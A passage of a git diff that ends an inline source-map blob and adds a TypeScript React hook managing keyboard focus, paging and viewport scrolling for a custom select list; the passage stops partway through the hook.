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
\ No newline at end of file
diff --git a/_all-in-one-upload/cc-haha/src/components/CustomSelect/use-select-navigation.ts b/_all-in-one-upload/cc-haha/src/components/CustomSelect/use-select-navigation.ts
new file mode 100644
index 0000000..7ecb4e7
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/components/CustomSelect/use-select-navigation.ts
@@ -0,0 +1,653 @@
+import {
+  useCallback,
+  useEffect,
+  useMemo,
+  useReducer,
+  useRef,
+  useState,
+} from 'react'
+import { isDeepStrictEqual } from 'util'
+import OptionMap from './option-map.js'
+import type { OptionWithDescription } from './select.js'
+
+type State<T> = {
+  /**
+   * Map where key is option's value and value is option's index.
+   */
+  optionMap: OptionMap<T>
+
+  /**
+   * Number of visible options.
+   */
+  visibleOptionCount: number
+
+  /**
+   * Value of the currently focused option.
+   */
+  focusedValue: T | undefined
+
+  /**
+   * Index of the first visible option.
+   */
+  visibleFromIndex: number
+
+  /**
+   * Index of the last visible option.
+   */
+  visibleToIndex: number
+}
+
+type Action<T> =
+  | FocusNextOptionAction
+  | FocusPreviousOptionAction
+  | FocusNextPageAction
+  | FocusPreviousPageAction
+  | SetFocusAction<T>
+  | ResetAction<T>
+
+type SetFocusAction<T> = {
+  type: 'set-focus'
+  value: T
+}
+
+type FocusNextOptionAction = {
+  type: 'focus-next-option'
+}
+
+type FocusPreviousOptionAction = {
+  type: 'focus-previous-option'
+}
+
+type FocusNextPageAction = {
+  type: 'focus-next-page'
+}
+
+type FocusPreviousPageAction = {
+  type: 'focus-previous-page'
+}
+
+type ResetAction<T> = {
+  type: 'reset'
+  state: State<T>
+}
+
+const reducer = <T>(state: State<T>, action: Action<T>): State<T> => {
+  switch (action.type) {
+    case 'focus-next-option': {
+      if (state.focusedValue === undefined) {
+        return state
+      }
+
+      const item = state.optionMap.get(state.focusedValue)
+
+      if (!item) {
+        return state
+      }
+
+      // Wrap to first item if at the end
+      const next = item.next || state.optionMap.first
+
+      if (!next) {
+        return state
+      }
+
+      // When wrapping to first, reset viewport to start
+      if (!item.next && next === state.optionMap.first) {
+        return {
+          ...state,
+          focusedValue: next.value,
+          visibleFromIndex: 0,
+          visibleToIndex: state.visibleOptionCount,
+        }
+      }
+
+      const needsToScroll = next.index >= state.visibleToIndex
+
+      if (!needsToScroll) {
+        return {
+          ...state,
+          focusedValue: next.value,
+        }
+      }
+
+      const nextVisibleToIndex = Math.min(
+        state.optionMap.size,
+        state.visibleToIndex + 1,
+      )
+
+      const nextVisibleFromIndex = nextVisibleToIndex - state.visibleOptionCount
+
+      return {
+        ...state,
+        focusedValue: next.value,
+        visibleFromIndex: nextVisibleFromIndex,
+        visibleToIndex: nextVisibleToIndex,
+      }
+    }
+
+    case 'focus-previous-option': {
+      if (state.focusedValue === undefined) {
+        return state
+      }
+
+      const item = state.optionMap.get(state.focusedValue)
+
+      if (!item) {
+        return state
+      }
+
+      // Wrap to last item if at the beginning
+      const previous = item.previous || state.optionMap.last
+
+      if (!previous) {
+        return state
+      }
+
+      // When wrapping to last, reset viewport to end
+      if (!item.previous && previous === state.optionMap.last) {
+        const nextVisibleToIndex = state.optionMap.size
+        const nextVisibleFromIndex = Math.max(
+          0,
+          nextVisibleToIndex - state.visibleOptionCount,
+        )
+        return {
+          ...state,
+          focusedValue: previous.value,
+          visibleFromIndex: nextVisibleFromIndex,
+          visibleToIndex: nextVisibleToIndex,
+        }
+      }
+
+      const needsToScroll = previous.index <= state.visibleFromIndex
+
+      if (!needsToScroll) {
+        return {
+          ...state,
+          focusedValue: previous.value,
+        }
+      }
+
+      const nextVisibleFromIndex = Math.max(0, state.visibleFromIndex - 1)
+
+      const nextVisibleToIndex = nextVisibleFromIndex + state.visibleOptionCount
+
+      return {
+        ...state,
+        focusedValue: previous.value,
+        visibleFromIndex: nextVisibleFromIndex,
+        visibleToIndex: nextVisibleToIndex,
+      }
+    }
+
+    case 'focus-next-page': {
+      if (state.focusedValue === undefined) {
+        return state
+      }
+
+      const item = state.optionMap.get(state.focusedValue)
+
+      if (!item) {
+        return state
+      }
+
+      // Move by a full page (visibleOptionCount items)
+      const targetIndex = Math.min(
+        state.optionMap.size - 1,
+        item.index + state.visibleOptionCount,
+      )
+
+      // Find the item at the target index
+      let targetItem = state.optionMap.first
+      while (targetItem && targetItem.index < targetIndex) {
+        if (targetItem.next) {
+          targetItem = targetItem.next
+        } else {
+          break
+        }
+      }
+
+      if (!targetItem) {
+        return state
+      }
+
+      // Update the visible range to include the new focused item
+      const nextVisibleToIndex = Math.min(
+        state.optionMap.size,
+        targetItem.index + 1,
+      )
+      const nextVisibleFromIndex = Math.max(
+        0,
+        nextVisibleToIndex - state.visibleOptionCount,
+      )
+
+      return {
+        ...state,
+        focusedValue: targetItem.value,
+        visibleFromIndex: nextVisibleFromIndex,
+        visibleToIndex: nextVisibleToIndex,
+      }
+    }
+
+    case 'focus-previous-page': {
+      if (state.focusedValue === undefined) {
+        return state
+      }
+
+      const item = state.optionMap.get(state.focusedValue)
+
+      if (!item) {
+        return state
+      }
+
+      // Move by a full page (visibleOptionCount items)
+      const targetIndex = Math.max(0, item.index - state.visibleOptionCount)
+
+      // Find the item at the target index
+      let targetItem = state.optionMap.first
+      while (targetItem && targetItem.index < targetIndex) {
+        if (targetItem.next) {
+          targetItem = targetItem.next
+        } else {
+          break
+        }
+      }
+
+      if (!targetItem) {
+        return state
+      }
+
+      // Update the visible range to include the new focused item
+      const nextVisibleFromIndex = Math.max(0, targetItem.index)
+      const nextVisibleToIndex = Math.min(
+        state.optionMap.size,
+        nextVisibleFromIndex + state.visibleOptionCount,
+      )
+
+      return {
+        ...state,
+        focusedValue: targetItem.value,
+        visibleFromIndex: nextVisibleFromIndex,
+        visibleToIndex: nextVisibleToIndex,
+      }
+    }
+
+    case 'reset': {
+      return action.state
+    }
+
+    case 'set-focus': {
+      // Early return if already focused on this value
+      if (state.focusedValue === action.value) {
+        return state
+      }
+
+      const item = state.optionMap.get(action.value)
+      if (!item) {
+        return state
+      }
+
+      // Check if the item is already in view
+      if (
+        item.index >= state.visibleFromIndex &&
+        item.index < state.visibleToIndex
+      ) {
+        // Already visible, just update focus
+        return {
+          ...state,
+          focusedValue: action.value,
+        }
+      }
+
+      // Need to scroll to make the item visible
+      // Scroll as little as possible - put item at edge of viewport
+      let nextVisibleFromIndex: number
+      let nextVisibleToIndex: number
+
+      if (item.index < state.visibleFromIndex) {
+        // Item is above viewport - scroll up to put it at the top
+        nextVisibleFromIndex = item.index
+        nextVisibleToIndex = Math.min(
+          state.optionMap.size,
+          nextVisibleFromIndex + state.visibleOptionCount,
+        )
+      } else {
+        // Item is below viewport - scroll down to put it at the bottom
+        nextVisibleToIndex = Math.min(state.optionMap.size, item.index + 1)
+        nextVisibleFromIndex = Math.max(
+          0,
+          nextVisibleToIndex - state.visibleOptionCount,
+        )
+      }
+
+      return {
+        ...state,
+        focusedValue: action.value,
+        visibleFromIndex: nextVisibleFromIndex,
+        visibleToIndex: nextVisibleToIndex,
+      }
+    }
+  }
+}
+
+export type UseSelectNavigationProps<T> = {
+  /**
+   * Number of items to display.
+   *
+   * @default 5
+   */
+  visibleOptionCount?: number
+
+  /**
+   * Options.
+   */
+  options: OptionWithDescription<T>[]
+
+  /**
+   * Initially focused option's value.
+   */
+  initialFocusValue?: T
+
+  /**
+   * Callback for focusing an option.
+   */
+  onFocus?: (value: T) => void
+
+  /**
+   * Value to focus
+   */
+  focusValue?: T
+}
+
+export type SelectNavigation<T> = {
+  /**
+   * Value of the currently focused option.
+   */
+  focusedValue: T | undefined
+
+  /**
+   * 1-based index of the focused option in the full list.
+   * Returns 0 if no option is focused.
+   */
+  focusedIndex: number
+
+  /**
+   * Index of the first visible option.
+   */
+  visibleFromIndex: number
+
+  /**
+   * Index of the last visible option.
+   */
+  visibleToIndex: number
+
+  /**
+   * All options.
+   */
+  options: OptionWithDescription<T>[]
+
+  /**
+   * Visible options.
+   */
+  visibleOptions: Array<OptionWithDescription<T> & { index: number }>
+
+  /**
+   * Whether the focused option is an input type.
+   */
+  isInInput: boolean
+
+  /**
+   * Focus next option and scroll the list down, if needed.
+   */
+  focusNextOption: () => void
+
+  /**
+   * Focus previous option and scroll the list up, if needed.
+   */
+  focusPreviousOption: () => void
+
+  /**
+   * Focus next page and scroll the list down by a page.
+   */
+  focusNextPage: () => void
+
+  /**
+   * Focus previous page and scroll the list up by a page.
+   */
+  focusPreviousPage: () => void
+
+  /**
+   * Focus a specific option by value.
+   */
+  focusOption: (value: T | undefined) => void
+}
+
+const createDefaultState = <T>({
+  visibleOptionCount: customVisibleOptionCount,
+  options,
+  initialFocusValue,
+  currentViewport,
+}: Pick<UseSelectNavigationProps<T>, 'visibleOptionCount' | 'options'> & {
+  initialFocusValue?: T
+  currentViewport?: { visibleFromIndex: number; visibleToIndex: number }
+}): State<T> => {
+  const visibleOptionCount =
+    typeof customVisibleOptionCount === 'number'
+      ? Math.min(customVisibleOptionCount, options.length)
+      : options.length
+
+  const optionMap = new OptionMap<T>(options)
+  const focusedItem =
+    initialFocusValue !== undefined && optionMap.get(initialFocusValue)
+  const focusedValue = focusedItem ? initialFocusValue : optionMap.first?.value
+
+  let visibleFromIndex = 0
+  let visibleToIndex = visibleOptionCount
+
+  // When there's a valid focused item, adjust viewport to show it
+  if (focusedItem) {
+    const focusedIndex = focusedItem.index
+
+    if (currentViewport) {
+      // If focused item is already in the current viewport range, try to preserve it
+      if (
+        focusedIndex >= currentViewport.visibleFromIndex &&
+        focusedIndex < currentViewport.visibleToIndex
+      ) {
+        // Keep the same viewport if it's valid
+        visibleFromIndex = currentViewport.visibleFromIndex
+        visibleToIndex = Math.min(
+          optionMap.size,
+          currentViewport.visibleToIndex,
+        )
+      } else {
+        // Need to adjust viewport to show focused item
+        // Use minimal scrolling - put item at edge of viewport
+        if (focusedIndex < currentViewport.visibleFromIndex) {
+          // Item is above current viewport - scroll up to put it at the top
+          visibleFromIndex = focusedIndex
+          visibleToIndex = Math.min(
+            optionMap.size,
+            visibleFromIndex + visibleOptionCount,
+          )
+        } else {
+          // Item is below current viewport - scroll down to put it at the bottom
+          visibleToIndex = Math.min(optionMap.size, focusedIndex + 1)
+          visibleFromIndex = Math.max(0, visibleToIndex - visibleOptionCount)
+        }
+      }
+    } else if (focusedIndex >= visibleOptionCount) {
+      // No current viewport but focused item is outside default viewport
+      // Scroll to show the focused item at the bottom of the viewport
+      visibleToIndex = Math.min(optionMap.size, focusedIndex + 1)
+      visibleFromIndex = Math.max(0, visibleToIndex - visibleOptionCount)
+    }
+
+    // Ensure viewport bounds are valid
+    visibleFromIndex = Math.max(
+      0,
+      Math.min(visibleFromIndex, optionMap.size - 1),
+    )
+    visibleToIndex = Math.min(
+      optionMap.size,
+      Math.max(visibleOptionCount, visibleToIndex),
+    )
+  }
+
+  return {
+    optionMap,
+    visibleOptionCount,
+    focusedValue,
+    visibleFromIndex,
+    visibleToIndex,
+  }
+}
+
+export function useSelectNavigation<T>({
+  visibleOptionCount = 5,
+  options,
+  initialFocusValue,
+  onFocus,
+  focusValue,
+}: UseSelectNavigationProps<T>): SelectNavigation<T> {
+  const [state, dispatch] = useReducer(
+    reducer<T>,
+    {
+      visibleOptionCount,
+      options,
+      initialFocusValue: focusValue || initialFocusValue,
+    } as Parameters<typeof createDefaultState<T>>[0],
+    createDefaultState<T>,
+  )
+
+  // Store onFocus in a ref to avoid re-running useEffect when callback changes
+  const onFocusRef = useRef(onFocus)
+  onFocusRef.current = onFocus
+
+  const [lastOptions, setLastOptions] = useState(options)
+
+  if (options !== lastOptions && !isDeepStrictEqual(options, lastOptions)) {
+    dispatch({
+      type: 'reset',
+      state: createDefaultState({
+        visibleOptionCount,
+        options,
+        initialFocusValue:
+          focusValue ?? state.focusedValue ?? initialFocusValue,
+        currentViewport: {
+          visibleFromIndex: state.visibleFromIndex,
+          visibleToIndex: state.visibleToIndex,
+        },
+      }),
+    })
+
+    setLastOptions(options)
+  }
+
+  const focusNextOption = useCallback(() => {
+    dispatch({
+      type: 'focus-next-option',
+    })
+  }, [])
+
+  const focusPreviousOption = useCallback(() => {
+    dispatch({
+      type: 'focus-previous-option',
+    })
+  }, [])
+
+  const focusNextPage = useCallback(() => {
+    dispatch({
+      type: 'focus-next-page',
+    })
+  }, [])
+
+  const focusPreviousPage = useCallback(() => {
+    dispatch({
+      type: 'focus-previous-page',
+    })
+  }, [])
+
+  const focusOption = useCallback((value: T | undefined) => {
+    if (value !== undefined) {
+      dispatch({
+        type: 'set-focus',
+        value,
+      })
+    }
+  }, [])
+
+  const visibleOptions = useMemo(() => {
+    return options
+      .map((option, index) => ({
+        ...option,
+        index,
+      }))
+      .slice(state.visibleFromIndex, state.visibleToIndex)
+  }, [options, state.visibleFromIndex, state.visibleToIndex])
+
+  // Validate that focusedValue exists in current options.
+  // This handles the case where options change during render but the reset
+  // action hasn't been processed yet - without this, the cursor would disappear
+  // because focusedValue points to an option that no longer exists.
+  const validatedFocusedValue = useMemo(() => {
+    if (state.focusedValue === undefined) {
+      return undefined
+    }
+    const exists = options.some(opt => opt.value === state.focusedValue)
+    if (exists) {
+      return state.focusedValue
+    }
+    // Fall back to first option if focused value doesn't exist
+    return options[0]?.value
+  }, [state.focusedValue, options])
+
+  const isInInput = useMemo(() => {
+    const focusedOption = options.find(
+      opt => opt.value === validatedFocusedValue,
+    )
+    return focusedOption?.type === 'input'
+  }, [validatedFocusedValue, options])
+
+  // Call onFocus with the validated value (what's actually displayed),
+  // not the internal state value which may be stale if options changed.
+  // Use ref to avoid re-running when callback reference changes.
+  useEffect(() => {
+    if (validatedFocusedValue !== undefined) {
+      onFocusRef.current?.(validatedFocusedValue)
+    }
+  }, [validatedFocusedValue])
+
+  // Allow parent to programmatically set focus via focusValue prop
+  useEffect(() => {
+    if (focusValue !== undefined) {
+      dispatch({
+        type: 'set-focus',
+        value: focusValue,
+      })
+    }
+  }, [focusValue])
+
+  // Compute 1-based focused index for scroll position display
+  const focusedIndex = useMemo(() => {
+    if (validatedFocusedValue === undefined) {
+      return 0
+    }
